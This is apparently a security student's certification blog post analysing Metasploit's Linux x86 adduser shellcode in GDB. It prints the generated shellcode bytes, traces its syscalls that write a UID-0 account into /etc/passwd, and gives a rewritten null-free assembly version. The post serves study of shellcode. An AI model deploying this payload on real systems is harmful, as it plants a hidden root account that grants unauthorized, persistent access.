Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Up next in assignment #5 is my Metasploit adduser analysis.
While I thought it would save me some extra posts, it looks like each analysis will take up an entire post.
As before, I will be performing analysis on one Metasploit shellcode with one tool. In this case, it will be the adduser shellcode and GDB respectively.
The next shellcode that I’ll cover is the linux/x86/adduser payload using GDB.
I’ll look at the basic options again before generating the payload.
As you can see, we have to set the password, username, and optional login shell for the user.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/adduser --payload-options Options for payload/linux/x86/adduser: Name: Linux Add User Module: payload/linux/x86/adduser Platform: Linux Arch: x86 Needs Admin: Yes Total size: 97 Rank: Normal Provided by: skapevlad902 spoonm Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- PASS metasploit yes The password for this user SHELL /bin/sh no The shell for this user USER metasploit yes The username to create Description: Create a new user with UID 0
I decided to keep the default username and shell, but change the password. I changed the password to passw0rd so that it would be easier to differentiate from the username during analysis.
With my options selected, I generated the payload that I wanted.
doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/adduser USER=metasploit SHELL=/bin/sh PASS=passw0rd -f c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 97 bytes Final size of c file: 433 bytes unsigned char buf[] = "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51" "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63" "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65" "\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x50\x4a\x6b\x50" "\x69\x38\x7a\x70\x70\x42\x6b\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a" "\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58" "\xcd\x80\x6a\x01\x58\xcd\x80";
Next, I added the payload to my wrapper program and executed. As before, the shellcode length is incorrect due to null bytes.
doyler@slae:~/slae/_exam/msf_analysis$ gcc -o shellcode -z execstack -fno-stack-protector shellcode.c doyler@slae:~/slae/_exam/msf_analysis$ ./shellcode Shellcode Length: 40
That said, the first execution was unsuccessful. I checked the passwd file, but the program didn’t add any new users.
doyler@slae:~/slae/_exam/msf_analysis$ tail -3 /etc/passwd doyler:x:1000:1000:Ray,,,:/home/doyler:/bin/bash vboxadd:x:999:1::/var/run/vboxadd:/bin/false sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
I realized that I should have expected this behavior, as only root can add new users.
doyler@slae:~/slae/_exam/msf_analysis$ sudo ./shellcode Shellcode Length: 40 doyler@slae:~/slae/_exam/msf_analysis$ tail -3 /etc/passwd vboxadd:x:999:1::/var/run/vboxadd:/bin/false sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin metasploit:AzPJkPi8zppBk:0:0::/:/bin/sh
With the shellcode working, it was time to start my analysis!
First, I made the shellcode wrapper program SUID root, to avoid having to sudo it each time.
doyler@slae:~/slae/_exam/msf_analysis$ sudo chown root:root shellcode doyler@slae:~/slae/_exam/msf_analysis$ sudo chmod 4755 shellcode
Next, I loaded the application into GDB, set an initial breakpoint, and configured my hook
doyler@slae:~/slae/_exam/msf_analysis$ gdb -q shellcode Reading symbols from /home/doyler/slae/_exam/msf_analysis/shellcode...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) break *&code Breakpoint 1 at 0x804a040 (gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >print/x $eax >print/x $ebx >print/x $ecx >print/x $edx >print/x $edi >print/x $esi >x/8xw $esp >disassemble $eip,+10 >end
I started up the program, and hit my initial breakpoint.
(gdb) r Starting program: /home/doyler/slae/_exam/msf_analysis/shellcode Shellcode Length: 40 $1 = 0x804a040 $2 = 0xb775eff4 $3 = 0x0 $4 = 0x0 $5 = 0x804a069 $6 = 0x0 0xbf984f4c: 0x08048430 0x08048510 0x00000028 0x08049ff4 0xbf984f5c: 0x08048461 0xffffffff 0xb75e9dd6 0xb775eff4 Dump of assembler code from 0x804a040 to 0x804a04a: => 0x0804a040 <code+0>: xor ecx,ecx 0x0804a042 <code+2>: mov ebx,ecx 0x0804a044 <code+4>: push 0x46 0x0804a046 <code+6>: pop eax 0x0804a047 <code+7>: int 0x80 0x0804a049 <code+9>: push 0x5 End of assembler dump. Breakpoint 1, 0x0804a040 in code ()
You can find the entire disassembly below.
=> 0x0804a040 <+0>: xor ecx,ecx 0x0804a042 <+2>: mov ebx,ecx 0x0804a044 <+4>: push 0x46 0x0804a046 <+6>: pop eax 0x0804a047 <+7>: int 0x80 0x0804a049 <+9>: push 0x5 0x0804a04b <+11>: pop eax 0x0804a04c <+12>: xor ecx,ecx 0x0804a04e <+14>: push ecx 0x0804a04f <+15>: push 0x64777373 0x0804a054 <+20>: push 0x61702f2f 0x0804a059 <+25>: push 0x6374652f 0x0804a05e <+30>: mov ebx,esp 0x0804a060 <+32>: inc ecx 0x0804a061 <+33>: mov ch,0x4 0x0804a063 <+35>: int 0x80 0x0804a065 <+37>: xchg ebx,eax 0x0804a066 <+38>: call 0x804a093 <code+83> 0x0804a06b <+43>: ins DWORD PTR es:[edi],dx 0x0804a06c <+44>: gs 0x0804a06d <+45>: je 0x804a0d0 0x0804a06f <+47>: jae 0x804a0e1 0x0804a071 <+49>: ins BYTE PTR es:[edi],dx 0x0804a072 <+50>: outs dx,DWORD PTR ds:[esi] 0x0804a073 <+51>: imul esi,DWORD PTR [edx+edi*1+0x41],0x6b4a507a 0x0804a07b <+59>: push eax 0x0804a07c <+60>: imul edi,DWORD PTR [eax],0x4270707a 0x0804a082 <+66>: imul edi,DWORD PTR [edx],0x30 0x0804a085 <+69>: cmp dh,BYTE PTR [eax] 0x0804a087 <+71>: cmp bh,BYTE PTR [edx] 0x0804a089 <+73>: das 0x0804a08a <+74>: cmp ch,BYTE PTR [edi] 0x0804a08c <+76>: bound ebp,QWORD PTR [ecx+0x6e] 0x0804a08f <+79>: das 0x0804a090 <+80>: jae 0x804a0fa 0x0804a092 <+82>: or bl,BYTE PTR [ecx-0x75] 0x0804a095 <+85>: push ecx 0x0804a096 <+86>: cld 0x0804a097 <+87>: push 0x4 0x0804a099 <+89>: pop eax 0x0804a09a <+90>: int 0x80 0x0804a09c <+92>: push 0x1 0x0804a09e <+94>: pop eax 0x0804a09f <+95>: int 0x80 0x0804a0a1 <+97>: add BYTE PTR [eax],al
As I want this post to differ from the last one, I’m going to follow these steps:
With that in mind, I set some breakpoints.
(gdb) b *0x0804a063 Breakpoint 2 at 0x804a063 (gdb) b *0x0804a047 Breakpoint 3 at 0x804a047 (gdb) b *0x0804a09a Breakpoint 4 at 0x804a09a (gdb) b *0x0804a09f Breakpoint 5 at 0x804a09f
With my breakpoints set, I continued execution until hitting the first one.
(gdb) c Continuing. $7 = 0x46 $8 = 0x0 $9 = 0x0 $10 = 0x0 $11 = 0x804a069 $12 = 0x0 0xbf984f4c: 0x08048430 0x08048510 0x00000028 0x08049ff4 0xbf984f5c: 0x08048461 0xffffffff 0xb75e9dd6 0xb775eff4 Dump of assembler code from 0x804a047 to 0x804a051: => 0x0804a047 <code+7>: int 0x80 0x0804a049 <code+9>: push 0x5 0x0804a04b <code+11>: pop eax 0x0804a04c <code+12>: xor ecx,ecx 0x0804a04e <code+14>: push ecx 0x0804a04f <code+15>: push 0x64777373 End of assembler dump. Breakpoint 3, 0x0804a047 in code ()
Taking a look at my syscall reference, 0x46 is the syscall for setreuid16.
Breaking down the registers gives us the following call and parameters.
This call will set the real (ruid) and effective (euid) user IDs of the calling process. With these values set to 0, it will allow the rest of the program to execute as root.
With our euid set, it was time to continue to the next interrupt.
(gdb) c Continuing. $13 = 0x5 $14 = 0xbf984f3c $15 = 0x401 $16 = 0x0 $17 = 0x804a069 $18 = 0x0 0xbf984f3c: 0x6374652f 0x61702f2f 0x64777373 0x00000000 0xbf984f4c: 0x08048430 0x08048510 0x00000028 0x08049ff4 Dump of assembler code from 0x804a063 to 0x804a06d: => 0x0804a063 <code+35>: int 0x80 0x0804a065 <code+37>: xchg ebx,eax 0x0804a066 <code+38>: call 0x804a093 <code+83> 0x0804a06b <code+43>: ins DWORD PTR es:[edi],dx 0x0804a06c <code+44>: gs End of assembler dump. Breakpoint 2, 0x0804a063 in code ()
The next system call is for open.
Again, the register configuration gives us the following call:
First, I’ll take a look at the pathname in the EBX register.
(gdb) x/4xw 0xbf984f3c 0xbf984f3c: 0x6374652f 0x61702f2f 0x64777373 0x00000000
Upon decoding and reversing this string, it is the path to /etc/passwd.
>>> "6477737361702f2f6374652f".decode("hex")[::-1] '/etc//passwd'
Regarding the flags parameter, we can take a look at one of the header files.
doyler@slae:~/slae/_exam/msf_analysis$ cat /usr/include/asm-generic/fcntl.h #ifndef _ASM_GENERIC_FCNTL_H #define _ASM_GENERIC_FCNTL_H #include <linux/types.h> /* * FMODE_EXEC is 0x20 * FMODE_NONOTIFY is 0x1000000 * These cannot be used by userspace O_* until internal and external open * flags are split. * -Eric Paris */ /* * When introducing new O_* bits, please check its uniqueness in fcntl_init(). */ #define O_ACCMODE 00000003 #define O_RDONLY 00000000 #define O_WRONLY 00000001 #define O_RDWR 00000002 #ifndef O_CREAT #define O_CREAT 00000100 /* not fcntl */ #endif #ifndef O_EXCL #define O_EXCL 00000200 /* not fcntl */ #endif #ifndef O_NOCTTY #define O_NOCTTY 00000400 /* not fcntl */ #endif #ifndef O_TRUNC #define O_TRUNC 00001000 /* not fcntl */ #endif #ifndef O_APPEND #define O_APPEND 00002000 #endif #ifndef O_NONBLOCK #define O_NONBLOCK 00004000 #endif
Based on this output, the application sets the flags to O_APPEND and O_WRONLY.
>>> hex(int(str(int("2000", 8))) | int(str(int("1", 8)))) '0x401'
With all of this in mind, the next call will open /etc/passwd in read and write mode.
Continuing on, we hit our 3rd system call.
(gdb) c Continuing. $21 = 0x4 $22 = 0xfffffff3 $23 = 0x804a06b $24 = 0x28 $25 = 0x804a069 $26 = 0x0 0xbf984f3c: 0x6374652f 0x61702f2f 0x64777373 0x00000000 0xbf984f4c: 0x08048430 0x08048510 0x00000028 0x08049ff4 Dump of assembler code from 0x804a09a to 0x804a0a4: => 0x0804a09a <code+90>: int 0x80 0x0804a09c <code+92>: push 0x1 0x0804a09e <code+94>: pop eax 0x0804a09f <code+95>: int 0x80 0x0804a0a1 <code+97>: add BYTE PTR [eax],al 0x0804a0a3: add BYTE PTR [eax],al End of assembler dump. Breakpoint 4, 0x0804a09a in code ()
As could be expected, this third call is to write. You can find the method and parameters below.
After some debugging, I realized that GDB wasn’t properly handing the seteuid call, and the EBX register was wrong.
Next, I restarted GDB and got back to this syscall.
(gdb) c Continuing. $21 = 0x4 $22 = 0x7 $23 = 0x804a06b $24 = 0x28 $25 = 0x804a069 $26 = 0x0 0xbf984f3c: 0x6374652f 0x61702f2f 0x64777373 0x00000000 0xbf984f4c: 0x08048430 0x08048510 0x00000028 0x08049ff4 Dump of assembler code from 0x804a09a to 0x804a0a4: => 0x0804a09a <code+90>: int 0x80 0x0804a09c <code+92>: push 0x1 0x0804a09e <code+94>: pop eax 0x0804a09f <code+95>: int 0x80 0x0804a0a1 <code+97>: add BYTE PTR [eax],al 0x0804a0a3: add BYTE PTR [eax],al End of assembler dump. Breakpoint 4, 0x0804a09a in code ()
I then took a look at the PID of the current process.
(gdb) info proc process 3067 cmdline = '/home/doyler/slae/_exam/msf_analysis/shellcode' cwd = '/home/doyler/slae/_exam/msf_analysis' exe = '/home/doyler/slae/_exam/msf_analysis/shellcode'
Next, I listed files opened by this process. This would allow me to see and verify what FD 7 was pointing to.
(gdb) shell lsof -p 3067 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME shellcode 3067 root cwd DIR 8,1 4096 319820 /home/doyler/slae/_exam/msf_analysis ... snip ... shellcode 3067 root 3u unix 0xdf3282c0 0t0 67816 socket shellcode 3067 root 4u unix 0xdf329080 0t0 67817 socket shellcode 3067 root 5r FIFO 0,8 0t0 67818 pipe shellcode 3067 root 6w FIFO 0,8 0t0 67818 pipe shellcode 3067 root 7w REG 8,1 1753 417554 /etc/passwd
With FD 7 verified as /etc/passwd, it was time to check the buffer.
(gdb) x/11xw 0x804a06b 0x804a06b <code+43>: 0x6174656d 0x6f6c7073 0x413a7469 0x6b4a507a 0x804a07b <code+59>: 0x7a386950 0x6b427070 0x303a303a 0x3a2f3a3a 0x804a08b <code+75>: 0x6e69622f 0x0a68732f 0xfc518b59
Next, I decoded it using Python.
>>> "0a68732f6e69622f3a2f3a3a303a303a6b4270707a3869506b4a507a413a74696f6c70736174656d".decode("hex")[::-1] 'metasploit:AzPJkPi8zppBk:0:0::/:/bin/sh\n'
In the end, this system call will write the new user string to the previously opened /etc/passwd file.
Finally, we have our exit syscall. This calls sys_exit with a status code of 1.
Continuing. $87 = 0x1 $88 = 0x1 $89 = 0x804a06b $90 = 0x28 $91 = 0x804a069 $92 = 0x0 0xbf8ae59c: 0x6374652f 0x61702f2f 0x64777373 0x00000000 0xbf8ae5ac: 0x08048430 0x08048510 0x00000028 0x08049ff4 Dump of assembler code from 0x804a09f to 0x804a0a9: => 0x0804a09f <code+95>: int 0x80 0x0804a0a1 <code+97>: add BYTE PTR [eax],al 0x0804a0a3: add BYTE PTR [eax],al 0x0804a0a5: add BYTE PTR [eax],al 0x0804a0a7: add BYTE PTR [eax],al End of assembler dump. Breakpoint 5, 0x0804a09f in code ()
In the case of this shellcode, there were only three null bytes after the relative call.
Unfortunately, I wasn’t able to save any bytes by removing these nulls. That said, I was able to remove them by replacing the relative call with a JMP-CALL-POP gadget.
You can find my version of the shellcode below.
; Filename: metasploit_adduser.nasm ; Author: Ray Doyle (@doylersec) ; Website: https://www.doyler.net ; ; Purpose: SLAE Exam Assignment #5 - Metasploit adduser shellcode (Linux/x86) for metasploit/passw0rd with no null bytes global _start section .text _start: xor ebx,ebx xor ecx,ecx setreuid: push 0x46 pop eax int 0x80 read: push 0x5 pop eax xor ecx,ecx push ecx push 0x64777373 push 0x61702f2f push 0x6374652f mov ebx,esp inc ecx mov ch,0x4 int 0x80 xchg ebx,eax pre_write: jmp call_write write: pop ecx push 0x4 pop eax push 0x28 pop edx int 0x80 exit: push 0x1 pop eax int 0x80 call_write: call write userinfo: db "metasploit:AzPJkPi8zppBk:0:0::/:/bin/sh", 0x0A
Combining our 4 system calls, we get the following application.
I think I did a good job analyzing this shellcode without going over each individual line.
Next week will be the final analysis for this assignment, and I’m looking forward to it.
Finally, you can find the code and updates in my GitHub repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1212
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.